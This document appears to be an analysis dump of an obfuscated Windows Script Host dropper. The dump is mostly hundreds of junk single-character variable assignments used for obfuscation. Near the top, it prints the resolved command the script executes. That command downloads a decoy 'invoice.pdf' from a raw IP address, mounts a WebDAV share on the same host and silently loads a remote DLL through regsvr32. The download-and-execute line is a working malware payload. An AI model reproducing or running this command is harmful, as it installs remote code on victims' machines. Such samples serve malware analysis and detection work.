srpuakwb + uruuhk + uruuhk + otttx + szfaxpxv + gupbn + gupbn + qortdajr + jaicwkofj + qgczkt + usohbjtd + qortdajr + ccprrjth + qgczkt + usohbjtd + qortdajr + usohbjtd + eypjcgl + dmfjdalrx + jqizad + gupbn + iwjrkxxt + kvmmdls + rihgvfvm + prjnd + iwjrkxxt + eqxffc + foqtzrl + usohbjtd + otttx + srpuakwb + otttx + cornl + dikncqz + dikncqz + hsieba + uruuhk + beoio + cnwfrczyg + uruuhk + pjqugjbr + mfbswhd + uruuhk + foqtzrl + qdzoftk + otttx + mfbswhd + bxwgoh + iwjrkxxt + kvmmdls + rihgvfvm + prjnd + iwjrkxxt + eqxffc + foqtzrl + usohbjtd + otttx + wjunhbv + jfirn + dikncqz + dikncqz + eqxffc + qdzoftk + wjunhbv + pjqugjbr + gupbn + eqxffc + pjqugjbr + kvmmdls + foqtzrl + uruuhk + pjqugjbr + qtohw + hsieba + foqtzrl + pjqugjbr + bxwgoh + bxwgoh + qortdajr + jaicwkofj + qgczkt + usohbjtd + qortdajr + ccprrjth + qgczkt + usohbjtd + qortdajr + usohbjtd + eypjcgl + dmfjdalrx + jqizad + ryzelqpvq + qrrjkuc + qrrjkuc + qrrjkuc + qrrjkuc + bxwgoh + wjunhbv + beoio + rihgvfvm + ygywbj + ygywbj + ygywbj + cnwfrczyg + prjnd + prjnd + uruuhk + bxwgoh + dikncqz + dikncqz + eqxffc + qdzoftk + wjunhbv + pjqugjbr + gupbn + eqxffc + pjqugjbr + cnwfrczyg + foqtzrl + lewwg + hsieba + rihgvfvm + cnwfrczyg + qgczkt + eypjcgl + pjqugjbr + gupbn + hsieba + pjqugjbr + bxwgoh + bxwgoh + qortdajr + jaicwkofj + qgczkt + usohbjtd + qortdajr + ccprrjth + qgczkt + usohbjtd + qortdajr + usohbjtd + eypjcgl + dmfjdalrx + jqizad + ryzelqpvq + qrrjkuc + qrrjkuc + qrrjkuc + qrrjkuc + bxwgoh + wjunhbv + beoio + rihgvfvm + ygywbj + ygywbj + ygywbj + cnwfrczyg + prjnd + prjnd + uruuhk + bxwgoh + qortdajr + qortdajr + jqizad + qortdajr + qortdajr + eypjcgl + dmfjdalrx + jaicwkofj + hcwicgda + qrrjkuc + qrrjkuc + qrrjkuc + jaicwkofj + usohbjtd + wjunhbv + topwg + topwg, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll",0,false) ➔ 0
14	}
15	mfzkh = "s";
16	mfzkh = "G";
17	mfzkh = "G";
18	mfzkh = "r";
19	mfzkh = "h";
20	mfzkh = "D";
21	mfzkh = "O";
22	mfzkh = "l";
23	mfzkh = "f";
24	mfzkh = "R";
25	mfzkh = "D";
26	mfzkh = "Y";
27	mfzkh = "F";
28	mfzkh = "V";
29	mfzkh = "F";
30	mfzkh = "g";
31	mfzkh = "E";
32	mfzkh = "t";
33	mfzkh = "f";
34	mfzkh = "r";
35	mfzkh = "o";
36	mfzkh = "N";
37	mfzkh = "i";
38	mfzkh = "L";
39	mfzkh = "F";
40	mfzkh = "e";
41	mfzkh = "f";
42	mfzkh = "l";
43	mfzkh = "g";
44	mfzkh = "V";
45	mfzkh = "R";
46	mfzkh = "Y";
47	mfzkh = "j";
48	mfzkh = "o";
49	mfzkh = "N";
50	mfzkh = "w";
51	mfzkh = "b";
52	mfzkh = "V";
53	mfzkh = "F";
54	mfzkh = "n";
55	mfzkh = "w";
56	mfzkh = "K";
57	mfzkh = "K";
58	mfbswhd = "p";
59	mfbswhd = "w";
60	mfbswhd = "t";
61	mfbswhd = "M";
62	mfbswhd = "U";
63	mfbswhd = "C";
64	mfbswhd = "S";
65	mfbswhd = "u";
66	mfbswhd = "G";
67	mfbswhd = "B";
68	mfbswhd = "Q";
69	mfbswhd = "Y";
70	mfbswhd = "M";
71	mfbswhd = "y";
72	mfbswhd = "u";
73	mfbswhd = "I";
74	mfbswhd = "k";
75	mfbswhd = "t";
76	mfbswhd = "a";
77	mfbswhd = "b";
78	mfbswhd = "e";
79	mfbswhd = "z";
80	mfbswhd = "T";
81	mfbswhd = "l";
82	mfbswhd = "M";
83	mfbswhd = "U";
84	mfbswhd = "g";
85	mfbswhd = "o";
86	mfbswhd = "R";
87	mfbswhd = "a";
88	mfbswhd = "C";
89	mfbswhd = "%";
90	qgczkt = "H";
91	qgczkt = "R";
92	qgczkt = "o";
93	qgczkt = "Q";
94	qgczkt = "H";
95	qgczkt = "N";
96	qgczkt = "X";
97	qgczkt = "F";
98	qgczkt = "D";
99	qgczkt = "q";
100	qgczkt = "w";
101	qgczkt = "o";
102	qgczkt = "F";
103	qgczkt = "a";
104	qgczkt = "P";
105	qgczkt = "n";
106	qgczkt = "l";
107	qgczkt = "y";
108	qgczkt = "i";
109	qgczkt = "s";
110	qgczkt = "M";
111	qgczkt = "V";
112	qgczkt = "O";
113	qgczkt = "z";
114	qgczkt = "E";
115	qgczkt = "M";
116	qgczkt = "j";
117	qgczkt = "s";
118	qgczkt = "r";
119	qgczkt = "G";
120	qgczkt = "s";
121	qgczkt = "V";
122	qgczkt = "G";
123	qgczkt = "q";
124	qgczkt = "3";
125	rihgvfvm = "v";
126	eqxffc = "P";
127	eqxffc = "m";
128	eqxffc = "A";
129	eqxffc = "w";
130	eqxffc = "z";
131	eqxffc = "O";
132	eqxffc = "v";
133	eqxffc = "N";
134	eqxffc = "y";
135	eqxffc = "V";
136	eqxffc = "p";
137	eqxffc = "b";
138	eqxffc = "H";
139	eqxffc = "M";
140	eqxffc = "F";
141	eqxffc = "D";
142	eqxffc = "m";
143	eqxffc = "e";
144	eqxffc = "t";
145	eqxffc = "n";
146	eqxffc = "o";
147	eqxffc = "A";
148	eqxffc = "M";
149	eqxffc = "D";
150	eqxffc = "r";
151	eqxffc = "r";
152	eqxffc = "a";
153	eqxffc = "s";
154	eqxffc = "o";
155	eqxffc = "e";
156	eqxffc = "c";
157	estvhxvy = "M";
158	estvhxvy = "h";
159	estvhxvy = "C";
160	cmqtvgi = "I";
161	cmqtvgi = "s";
162	cmqtvgi = "h";
163	cmqtvgi = "l";
164	cmqtvgi = "m";
165	cmqtvgi = "z";
166	cmqtvgi = "e";
167	cmqtvgi = "h";
168	cmqtvgi = "D";
169	cmqtvgi = "B";
170	cmqtvgi = "H";
171	gupbn = "Y";
172	gupbn = "o";
173	gupbn = "c";
174	gupbn = "t";
175	gupbn = "v";
176	gupbn = "n";
177	gupbn = "n";
178	gupbn = "B";
179	gupbn = "e";
180	gupbn = "v";
181	gupbn = "S";
182	gupbn = "q";
183	gupbn = "Y";
184	gupbn = "T";
185	gupbn = "E";
186	gupbn = "x";
187	gupbn = "S";
188	gupbn = "W";
189	gupbn = "s";
190	gupbn = "L";
191	gupbn = "/";
192	hftqarm = "I";
193	hftqarm = "s";
194	hftqarm = "c";
195	hftqarm = "L";
196	usohbjtd = "H";
197	usohbjtd = "u";
198	usohbjtd = "S";
199	usohbjtd = "R";
200	usohbjtd = "G";
201	usohbjtd = "K";
202	usohbjtd = "T";
203	usohbjtd = "q";
204	usohbjtd = "p";
205	usohbjtd = "A";
206	usohbjtd = "G";
207	usohbjtd = "T";
208	usohbjtd = "a";
209	usohbjtd = ".";
210	qvykgozo = "s";
211	qvykgozo = "O";
212	qvykgozo = "i";
213	qvykgozo = "X";
214	qvykgozo = "Y";
215	qvykgozo = "b";
216	qvykgozo = "m";
217	qvykgozo = "O";
218	qvykgozo = "G";
219	qvykgozo = "m";
220	qvykgozo = "Q";
221	qvykgozo = "Q";
222	qvykgozo = "b";
223	qvykgozo = "S";
224	qvykgozo = "Y";
225	qvykgozo = "z";
226	qvykgozo = "o";
227	qvykgozo = "C";
228	qvykgozo = "V";
229	qvykgozo = "x";
230	qvykgozo = "K";
231	qvykgozo = "V";
232	qvykgozo = "R";
233	qvykgozo = "r";
234	qvykgozo = "v";
235	qvykgozo = "F";
236	qvykgozo = "k";
237	qvykgozo = "_";
238	vzpcwxa = "r";
239	vzpcwxa = "c";
240	vzpcwxa = "p";
241	vzpcwxa = "N";
242	vzpcwxa = "n";
243	vzpcwxa = "V";
244	vzpcwxa = "W";
245	vzpcwxa = "d";
246	vzpcwxa = "C";
247	vzpcwxa = "j";
248	vzpcwxa = "s";
249	vzpcwxa = "B";
250	vzpcwxa = "s";
251	vzpcwxa = "V";
252	vzpcwxa = "P";
253	uruuhk = "U";
254	uruuhk = "l";
255	uruuhk = "J";
256	uruuhk = "W";
257	uruuhk = "D";
258	uruuhk = "D";
259	uruuhk = "B";
260	uruuhk = "j";
261	uruuhk = "j";
262	uruuhk = "y";
263	uruuhk = "N";
264	uruuhk = "Q";
265	uruuhk = "C";
266	uruuhk = "N";
267	uruuhk = "b";
268	uruuhk = "R";
269	uruuhk = "i";
270	uruuhk = "v";
271	uruuhk = "W";
272	uruuhk = "S";
273	uruuhk = "t";
274	rjbbi = "F";
275	rjbbi = "C";
276	rjbbi = "O";
277	rjbbi = "p";
278	rjbbi = "m";
279	rjbbi = "I";
280	rjbbi = "u";
281	rjbbi = "O";
282	rjbbi = "a";
283	rjbbi = "n";
284	rjbbi = "u";
285	rjbbi = "n";
286	rjbbi = "f";
287	rjbbi = "h";
288	rjbbi = "P";
289	rjbbi = "c";
290	rjbbi = "d";
291	rjbbi = "B";
292	rjbbi = "D";
293	rjbbi = "i";
294	rjbbi = "l";
295	rjbbi = "Y";
296	rjbbi = "N";
297	rjbbi = "T";
298	rjbbi = "E";
299	rjbbi = "i";
300	rjbbi = "L";
301	rjbbi = "Y";
302	rjbbi = "L";
303	rjbbi = "A";
304	rjbbi = "S";
305	rjbbi = "d";
306	rjbbi = "x";
307	rjbbi = "Z";
308	rjbbi = "I";
309	rjbbi = "t";
310	rjbbi = "P";
311	rjbbi = "X";
312	rjbbi = "t";
313	rjbbi = "V";
314	rjbbi = "l";
315	rjbbi = "W";
316	iwjrkxxt = "M";
317	iwjrkxxt = "i";
318	iwjrkxxt = "v";
319	iwjrkxxt = "a";
320	iwjrkxxt = "c";
321	iwjrkxxt = "C";
322	iwjrkxxt = "w";
323	iwjrkxxt = "n";
324	iwjrkxxt = "M";
325	iwjrkxxt = "i";
326	iwjrkxxt = "z";
327	iwjrkxxt = "w";
328	iwjrkxxt = "k";
329	iwjrkxxt = "d";
330	iwjrkxxt = "g";
331	iwjrkxxt = "p";
332	iwjrkxxt = "q";
333	iwjrkxxt = "R";
334	iwjrkxxt = "S";
335	iwjrkxxt = "A";
336	iwjrkxxt = "Y";
337	iwjrkxxt = "J";
338	iwjrkxxt = "I";
339	iwjrkxxt = "j";
340	iwjrkxxt = "q";
341	iwjrkxxt = "z";
342	iwjrkxxt = "F";
343	iwjrkxxt = "p";
344	iwjrkxxt = "e";
345	iwjrkxxt = "g";
346	iwjrkxxt = "r";
347	iwjrkxxt = "c";
348	iwjrkxxt = "V";
349	iwjrkxxt = "N";
350	iwjrkxxt = "G";
351	iwjrkxxt = "s";
352	iwjrkxxt = "M";
353	iwjrkxxt = "G";
354	iwjrkxxt = "u";
355	iwjrkxxt = "v";
356	iwjrkxxt = "i";
357	cnwfrczyg = "U";
358	cnwfrczyg = "H";
359	cnwfrczyg = "X";
360	cnwfrczyg = "u";
361	cnwfrczyg = "C";
362	cnwfrczyg = "y";
363	cnwfrczyg = "j";
364	cnwfrczyg = "B";
365	cnwfrczyg = "R";
366	cnwfrczyg = "p";
367	cnwfrczyg = "f";
368	cnwfrczyg = "z";
369	cnwfrczyg = "L";
370	cnwfrczyg = "x";
371	cnwfrczyg = "R";
372	cnwfrczyg = "M";
373	cnwfrczyg = "e";
374	cnwfrczyg = "S";
375	cnwfrczyg = "k";
376	cnwfrczyg = "D";
377	cnwfrczyg = "v";
378	cnwfrczyg = "z";
379	cnwfrczyg = "h";
380	cnwfrczyg = "k";
381	cnwfrczyg = "u";
382	cnwfrczyg = "j";
383	cnwfrczyg = "C";
384	cnwfrczyg = "W";
385	cnwfrczyg = "R";
386	cnwfrczyg = "C";
387	cnwfrczyg = "S";
388	cnwfrczyg = "Y";
389	cnwfrczyg = "P";
390	cnwfrczyg = "M";
391	cnwfrczyg = "j";
392	cnwfrczyg = "L";
393	cnwfrczyg = "Z";
394	cnwfrczyg = "o";
395	cnwfrczyg = "a";
396	cnwfrczyg = "Y";
397	cnwfrczyg = "J";
398	cnwfrczyg = "r";
399	pjqugjbr = "N";
400	pjqugjbr = "Y";
401	pjqugjbr = "Z";
402	pjqugjbr = "w";
403	pjqugjbr = "E";
404	pjqugjbr = "N";
405	pjqugjbr = "j";
406	pjqugjbr = "k";
407	pjqugjbr = "F";
408	pjqugjbr = "J";
409	pjqugjbr = "Y";
410	pjqugjbr = "l";
411	pjqugjbr = "T";
412	pjqugjbr = "z";
413	pjqugjbr = "h";
414	pjqugjbr = "c";
415	pjqugjbr = "l";
416	pjqugjbr = "I";
417	pjqugjbr = "r";
418	pjqugjbr = "b";
419	pjqugjbr = "B";
420	pjqugjbr = "A";
421	pjqugjbr = "S";
422	pjqugjbr = "b";
423	pjqugjbr = "H";
424	pjqugjbr = "D";
425	pjqugjbr = "e";
426	pjqugjbr = "i";
427	pjqugjbr = "h";
428	pjqugjbr = "E";
429	pjqugjbr = "M";
430	pjqugjbr = "V";
431	pjqugjbr = "t";
432	pjqugjbr = "d";
433	pjqugjbr = "o";
434	pjqugjbr = "Z";
435	pjqugjbr = "h";
436	pjqugjbr = "r";
437	pjqugjbr = "j";
438	pjqugjbr = "X";
439	pjqugjbr = "H";
440	pjqugjbr = "q";
441	pjqugjbr = "T";
442	pjqugjbr = " ";
443	hcwicgda = "Y";
444	hcwicgda = "e";
445	hcwicgda = "v";
446	hcwicgda = "h";
447	hcwicgda = "O";
448	hcwicgda = "h";
449	hcwicgda = "T";
450	hcwicgda = "d";
451	hcwicgda = "F";
452	hcwicgda = "r";
453	hcwicgda = "n";
454	hcwicgda = "j";
455	hcwicgda = "J";
456	hcwicgda = "j";
457	hcwicgda = "L";
458	hcwicgda = "n";
459	hcwicgda = "c";
460	hcwicgda = "Y";
461	hcwicgda = "y";
462	hcwicgda = "n";
463	hcwicgda = "S";
464	hcwicgda = "X";
465	hcwicgda = "x";
466	hcwicgda = "Q";
467	hcwicgda = "7";
468	tqbst = "J";
469	tqbst = "L";
470	tqbst = "c";
471	tqbst = "S";
472	tqbst = "z";
473	tqbst = "p";
474	tqbst = "g";
475	tqbst = "G";
476	tqbst = "C";
477	tqbst = "J";
478	tqbst = "x";
479	tqbst = "s";
480	tqbst = "e";
481	tqbst = "C";
482	tqbst = "V";
483	tqbst = "H";
484	tqbst = "Z";
485	tqbst = "R";
486	tqbst = "A";
487	tqbst = "j";
488	tqbst = "Q";
489	tqbst = "N";
490	tqbst = "r";
491	tqbst = "i";
492	tqbst = "a";
493	tqbst = "z";
494	tqbst = "K";
495	tqbst = "T";
496	tqbst = "I";
497	tqbst = "h";
498	tqbst = "Q";
499	tqbst = "R";
500	tqbst = "d";
501	tqbst = "X";
502	tqbst = "c";
503	tqbst = "W";
504	tqbst = "v";
505	tqbst = "R";
506	tqbst = "z";
507	tqbst = "T";
508	idiukgfg = "s";
509	idiukgfg = "M";
510	idiukgfg = "u";
511	idiukgfg = "y";
512	idiukgfg = "Y";
513	idiukgfg = "C";
514	idiukgfg = "h";
515	idiukgfg = "p";
516	idiukgfg = "n";
517	idiukgfg = "b";
518	idiukgfg = "y";
519	idiukgfg = "V";
520	idiukgfg = "F";
521	idiukgfg = "x";
522	idiukgfg = "m";
523	idiukgfg = "V";
524	idiukgfg = "w";
525	idiukgfg = "H";
526	idiukgfg = "h";
527	idiukgfg = "k";
528	idiukgfg = "U";
529	idiukgfg = "B";
530	idiukgfg = "Z";
531	idiukgfg = "P";
532	idiukgfg = "S";
533	idiukgfg = "W";
534	idiukgfg = "n";
535	idiukgfg = "m";
536	idiukgfg = "p";
537	idiukgfg = "E";
538	idiukgfg = "Y";
539	idiukgfg = "R";
540	ygywbj = "r";
541	ygywbj = "X";
542	ygywbj = "g";
543	ygywbj = "e";
544	ygywbj = "l";
545	ygywbj = "w";
546	ygywbj = "z";
547	ygywbj = "i";
548	ygywbj = "X";
549	ygywbj = "y";
550	ygywbj = "k";
551	ygywbj = "c";
552	ygywbj = "s";
553	ygywbj = "o";
554	ygywbj = "j";
555	ygywbj = "Z";
556	ygywbj = "Y";
557	ygywbj = "E";
558	ygywbj = "Y";
559	ygywbj = "Y";
560	ygywbj = "W";
561	ygywbj = "c";
562	ygywbj = "C";
563	ygywbj = "R";
564	ygywbj = "P";
565	ygywbj = "w";
566	kvewl = "T";
567	kvewl = "f";
568	kvewl = "E";
569	kvewl = "q";
570	kvewl = "L";
571	kvewl = "b";
572	kvewl = "u";
573	kvewl = "N";
574	kvewl = "R";
575	kvewl = "H";
576	kvewl = "u";
577	kvewl = "z";
578	kvewl = "i";
579	kvewl = "u";
580	kvewl = "u";
581	kvewl = "J";
582	kvewl = "C";
583	kvewl = "M";
584	kvewl = "L";
585	kvewl = "V";
586	kvewl = "r";
587	kvewl = "N";
588	kvewl = "S";
589	kvewl = "t";
590	kvewl = "U";
591	kvewl = "s";
592	kvewl = "h";
593	kvewl = "J";
594	kvewl = "b";
595	kvewl = "m";
596	kvewl = "Y";
597	kvewl = "S";
598	kvewl = "I";
599	kvewl = "d";
600	kvewl = "m";
601	kvewl = "q";
602	kvewl = "O";
603	kvewl = "b";
604	kvewl = "I";
605	ryzelqpvq = "E";
606	ryzelqpvq = "G";
607	ryzelqpvq = "z";
608	ryzelqpvq = "F";
609	ryzelqpvq = "R";
610	ryzelqpvq = "z";
611	ryzelqpvq = "F";
612	ryzelqpvq = "@";
613	jfirn = "X";
614	jfirn = "a";
615	jfirn = "J";
616	jfirn = "N";
617	jfirn = "h";
618	jfirn = "J";
619	jfirn = "R";
620	jfirn = "Z";
621	jfirn = "N";
622	jfirn = "K";
623	jfirn = "o";
624	jfirn = "m";
625	jfirn = "o";
626	jfirn = "a";
627	jfirn = "q";
628	jfirn = "P";
629	jfirn = "P";
630	jfirn = "L";
631	jfirn = "Y";
632	jfirn = "r";
633	jfirn = "n";
634	jfirn = "X";
635	jfirn = "v";
636	jfirn = "k";
637	jfirn = "o";
638	jfirn = "t";
639	jfirn = "k";
640	jfirn = "h";
641	jfirn = "t";
642	jfirn = "m";
643	jfirn = "v";
644	jfirn = "I";
645	jfirn = "y";
646	jfirn = "R";
647	jfirn = "z";
648	jfirn = "f";
649	yrcwyygsj = "J";
650	yrcwyygsj = "v";
651	yrcwyygsj = "Q";
652	yrcwyygsj = "F";
653	yrcwyygsj = "g";
654	yrcwyygsj = "u";
655	yrcwyygsj = "h";
656	yrcwyygsj = "X";
657	yrcwyygsj = "U";
658	yrcwyygsj = "l";
659	yrcwyygsj = "C";
660	yrcwyygsj = "S";
661	yrcwyygsj = "n";
662	yrcwyygsj = "V";
663	yrcwyygsj = "z";
664	yrcwyygsj = "s";
665	yrcwyygsj = "R";
666	yrcwyygsj = "y";
667	yrcwyygsj = "n";
668	yrcwyygsj = "W";
669	yrcwyygsj = "E";
670	yrcwyygsj = "f";
671	yrcwyygsj = "A";
672	yrcwyygsj = "F";
673	yrcwyygsj = "d";
674	yrcwyygsj = "b";
675	yrcwyygsj = "N";
676	yrcwyygsj = "b";
677	npsluer = "Y";
678	npsluer = "o";
679	npsluer = "q";
680	npsluer = "o";
681	npsluer = "z";
682	npsluer = "b";
683	npsluer = "I";
684	npsluer = "w";
685	npsluer = "Q";
686	npsluer = "k";
687	npsluer = "d";
688	npsluer = "I";
689	npsluer = "O";
690	topwg = "X";
691	topwg = "C";
692	topwg = "h";
693	topwg = "v";
694	topwg = "p";
695	topwg = "d";
696	topwg = "o";
697	topwg = "O";
698	topwg = "u";
699	topwg = "Q";
700	topwg = "m";
701	topwg = "M";
702	topwg = "A";
703	topwg = "H";
704	topwg = "P";
705	topwg = "c";
706	topwg = "O";
707	topwg = "r";
708	topwg = "F";
709	topwg = "k";
710	topwg = "B";
711	topwg = "t";
712	topwg = "r";
713	topwg = "m";
714	topwg = "k";
715	topwg = "F";
716	topwg = "U";
717	topwg = "j";
718	topwg = "F";
719	topwg = "Q";
720	topwg = "r";
721	topwg = "S";
722	topwg = "N";
723	topwg = "q";
724	topwg = "l";
725	topwg = "O";
726	topwg = "F";
727	topwg = "R";
728	topwg = "s";
729	topwg = "V";
730	topwg = "E";
731	topwg = "b";
732	topwg = "n";
733	topwg = "l";
734	qrrjkuc = "8";
735	llmvjg = "z";
736	llmvjg = "P";
737	llmvjg = "R";
738	llmvjg = "z";
739	llmvjg = "K";
740	llmvjg = "L";
741	llmvjg = "f";
742	llmvjg = "j";
743	llmvjg = "Y";
744	llmvjg = "B";
745	llmvjg = "W";
746	llmvjg = "n";
747	llmvjg = "j";
748	llmvjg = "M";
749	llmvjg = "A";
750	llmvjg = "C";
751	llmvjg = "r";
752	llmvjg = "e";
753	llmvjg = "P";
754	llmvjg = "K";
755	llmvjg = "I";
756	llmvjg = "e";
757	llmvjg = "t";
758	llmvjg = "V";
759	llmvjg = "S";
760	llmvjg = "f";
761	llmvjg = "f";
762	llmvjg = "U";
763	llmvjg = "L";
764	llmvjg = "D";
765	llmvjg = "Y";
766	hsieba = "Y";
767	hsieba = "t";
768	hsieba = "o";
769	hsieba = "I";
770	hsieba = "n";
771	hsieba = "p";
772	hsieba = "O";
773	hsieba = "V";
774	hsieba = "g";
775	hsieba = "S";
776	hsieba = "J";
777	hsieba = "M";
778	hsieba = "X";
779	hsieba = "E";
780	hsieba = "k";
781	hsieba = "C";
782	hsieba = "A";
783	hsieba = "v";
784	hsieba = "u";
785	hsieba = "i";
786	hsieba = "H";
787	hsieba = "c";
788	hsieba = "G";
789	hsieba = "Y";
790	hsieba = "q";
791	hsieba = "x";
792	hsieba = "n";
793	hsieba = "Y";
794	hsieba = "F";
795	hsieba = "e";
796	hsieba = "g";
797	hsieba = "K";
798	hsieba = "Q";
799	hsieba = "s";
800	ccprrjth = "s";
801	ccprrjth = "j";
802	ccprrjth = "F";
803	ccprrjth = "L";
804	ccprrjth = "m";
805	ccprrjth = "G";
806	ccprrjth = "S";
807	ccprrjth = "A";
808	ccprrjth = "I";
809	ccprrjth = "p";
810	ccprrjth = "D";
811	ccprrjth = "t";
812	ccprrjth = "U";
813	ccprrjth = "4";
814	ddpeo = "u";
815	ddpeo = "o";
816	ddpeo = "L";
817	ddpeo = "j";
818	ddpeo = "f";
819	ddpeo = "A";
820	ddpeo = "p";
821	ddpeo = "O";
822	ddpeo = "N";
823	ddpeo = "k";
824	ddpeo = "X";
825	ddpeo = "N";
826	ddpeo = "W";
827	ddpeo = "X";
828	ddpeo = "F";
829	ddpeo = "M";
830	ddpeo = "s";
831	ddpeo = "B";
832	ddpeo = "I";
833	ddpeo = "E";
834	ifrjapnoz = "Z";
835	ifrjapnoz = "b";
836	ifrjapnoz = "x";
837	dbogvmj = "E";
838	dbogvmj = "h";
839	dbogvmj = "X";
840	dbogvmj = "D";
841	dbogvmj = "G";
842	dbogvmj = "U";
843	dbogvmj = "q";
844	dbogvmj = "T";
845	dbogvmj = "v";
846	dbogvmj = "I";
847	dbogvmj = "O";
848	dbogvmj = "q";
849	mngxqov = "v";
850	mngxqov = "h";
851	mngxqov = "j";
852	mngxqov = "q";
853	mngxqov = "w";
854	mngxqov = "v";
855	mngxqov = "W";
856	mngxqov = "Y";
857	mngxqov = "b";
858	mngxqov = "i";
859	mngxqov = "A";
860	mngxqov = "W";
861	mngxqov = "T";
862	mngxqov = "F";
863	mngxqov = "M";
864	mngxqov = "P";
865	mngxqov = "H";
866	mngxqov = "L";
867	mngxqov = "q";
868	mngxqov = "j";
869	mngxqov = "t";
870	mngxqov = "Z";
871	mngxqov = "V";
872	mngxqov = "e";
873	mngxqov = "Q";
874	mngxqov = "l";
875	mngxqov = "S";
876	mngxqov = "y";
877	mngxqov = "a";
878	mngxqov = "z";
879	mngxqov = "Q";
880	wjunhbv = "I";
881	wjunhbv = "q";
882	wjunhbv = "B";
883	wjunhbv = "m";
884	wjunhbv = "V";
885	wjunhbv = "R";
886	wjunhbv = "w";
887	wjunhbv = "S";
888	wjunhbv = "T";
889	wjunhbv = "g";
890	wjunhbv = "x";
891	wjunhbv = "T";
892	wjunhbv = "f";
893	wjunhbv = "z";
894	wjunhbv = "p";
895	wjunhbv = "c";
896	wjunhbv = "w";
897	wjunhbv = "Y";
898	wjunhbv = "p";
899	wjunhbv = "H";
900	wjunhbv = "J";
901	wjunhbv = "J";
902	wjunhbv = "p";
903	wjunhbv = "d";
904	beoio = "Y";
905	beoio = "f";
906	beoio = "E";
907	beoio = "n";
908	beoio = "e";
909	beoio = "k";
910	beoio = "a";
911	beoio = "Y";
912	beoio = "R";
913	beoio = "T";
914	beoio = "P";
915	beoio = "z";
916	beoio = "l";
917	beoio = "a";
918	beoio = "t";
919	beoio = "g";
920	beoio = "l";
921	beoio = "w";
922	beoio = "d";
923	beoio = "a";
924	beoio = "m";
925	beoio = "X";
926	beoio = "W";
927	beoio = "k";
928	beoio = "O";
929	beoio = "c";
930	beoio = "v";
931	beoio = "N";
932	beoio = "H";
933	beoio = "d";
934	beoio = "u";
935	beoio = "X";
936	beoio = "H";
937	beoio = "a";
938	fmludrlr = "h";
939	fmludrlr = "B";
940	fmludrlr = "K";
941	fmludrlr = "z";
942	fmludrlr = "k";
943	prjnd = "K";
944	prjnd = "j";
945	prjnd = "o";
946	qtohw = "r";
947	qtohw = "X";
948	qtohw = "q";
949	qtohw = "M";
950	qtohw = "n";
951	qtohw = "p";
952	qtohw = "A";
953	qtohw = "A";
954	qtohw = "a";
955	qtohw = "I";
956	qtohw = "e";
957	qtohw = "a";
958	qtohw = "y";
959	qtohw = "H";
960	qtohw = "l";
961	qtohw = "E";
962	qtohw = "X";
963	qtohw = "u";
964	qtohw = "X";
965	qtohw = "p";
966	qtohw = "p";
967	qtohw = "D";
968	qtohw = "E";
969	qtohw = "q";
970	qtohw = "s";
971	qtohw = "p";
972	qtohw = "K";
973	qtohw = "V";
974	qtohw = "k";
975	qtohw = "s";
976	qtohw = "D";
977	qtohw = "w";
978	qtohw = "D";
979	qtohw = "x";
980	qtohw = "A";
981	qtohw = "m";
982	qtohw = "x";
983	qtohw = "B";
984	qtohw = "D";
985	qtohw = "k";
986	qtohw = "u";
987	otttx = "H";
988	otttx = "t";
989	otttx = "p";
990	bxwgoh = "N";
991	bxwgoh = "f";
992	bxwgoh = "x";
993	bxwgoh = "L";
994	bxwgoh = "B";
995	bxwgoh = "r";
996	bxwgoh = "y";
997	bxwgoh = "x";
998	bxwgoh = "p";
999	bxwgoh = "F";
1000	bxwgoh = "l";
1001	bxwgoh = "L";
1002	bxwgoh = "u";
1003	bxwgoh = "B";
1004	bxwgoh = "z";
1005	bxwgoh = "h";
1006	bxwgoh = "m";
1007	bxwgoh = "C";
1008	bxwgoh = "u";
1009	bxwgoh = "F";
1010	bxwgoh = "g";
1011	bxwgoh = "Z";
1012	bxwgoh = "O";
1013	bxwgoh = "N";
1014	bxwgoh = "H";
1015	bxwgoh = "H";
1016	bxwgoh = "L";
1017	bxwgoh = "C";
1018	bxwgoh = "y";
1019	bxwgoh = "Q";
1020	bxwgoh = "f";
1021	bxwgoh = "P";
1022	bxwgoh = "L";
1023	bxwgoh = "D";
1024	bxwgoh = "y";
1025	bxwgoh = "S";
1026	bxwgoh = "e";
1027	bxwgoh = "F";
1028	bxwgoh = "J";
1029	bxwgoh = "W";
1030	bxwgoh = "T";
1031	bxwgoh = "\\";
1032	dikncqz = "K";
1033	dikncqz = "A";
1034	dikncqz = "Z";
1035	dikncqz = "e";
1036	dikncqz = "m";
1037	dikncqz = "q";
1038	dikncqz = "&";
1039	jqizad = "d";
1040	jqizad = "V";
1041	jqizad = "w";
1042	jqizad = "S";
1043	jqizad = "I";
1044	jqizad = "Y";
1045	jqizad = "s";
1046	jqizad = "a";
1047	jqizad = "l";
1048	jqizad = "i";
1049	jqizad = "Z";
1050	jqizad = "o";
1051	jqizad = "I";
1052	jqizad = "w";
1053	jqizad = "z";
1054	jqizad = "u";
1055	jqizad = "U";
1056	jqizad = "y";
1057	jqizad = "m";
1058	jqizad = "B";
1059	jqizad = "L";
1060	jqizad = "X";
1061	jqizad = "R";
1062	jqizad = "r";
1063	jqizad = "K";
1064	jqizad = "D";
1065	jqizad = "F";
1066	jqizad = "Q";
1067	jqizad = "Y";
1068	jqizad = "l";
1069	jqizad = "O";
1070	jqizad = "S";
1071	jqizad = "q";
1072	jqizad = "5";
1073	srpuakwb = "x";
1074	srpuakwb = "N";
1075	srpuakwb = "V";
1076	srpuakwb = "c";
1077	srpuakwb = "X";
1078	srpuakwb = "I";
1079	srpuakwb = "T";
1080	srpuakwb = "Z";
1081	srpuakwb = "J";
1082	srpuakwb = "l";
1083	srpuakwb = "z";
1084	srpuakwb = "L";
1085	srpuakwb = "H";
1086	srpuakwb = "A";
1087	srpuakwb = "L";
1088	srpuakwb = "y";
1089	srpuakwb = "l";
1090	srpuakwb = "i";
1091	srpuakwb = "a";
1092	srpuakwb = "Q";
1093	srpuakwb = "d";
1094	srpuakwb = "F";
1095	srpuakwb = "b";
1096	srpuakwb = "F";
1097	srpuakwb = "q";
1098	srpuakwb = "p";
1099	srpuakwb = "J";
1100	srpuakwb = "z";
1101	srpuakwb = "T";
1102	srpuakwb = "h";
1103	eypjcgl = "j";
1104	eypjcgl = "l";
1105	eypjcgl = "V";
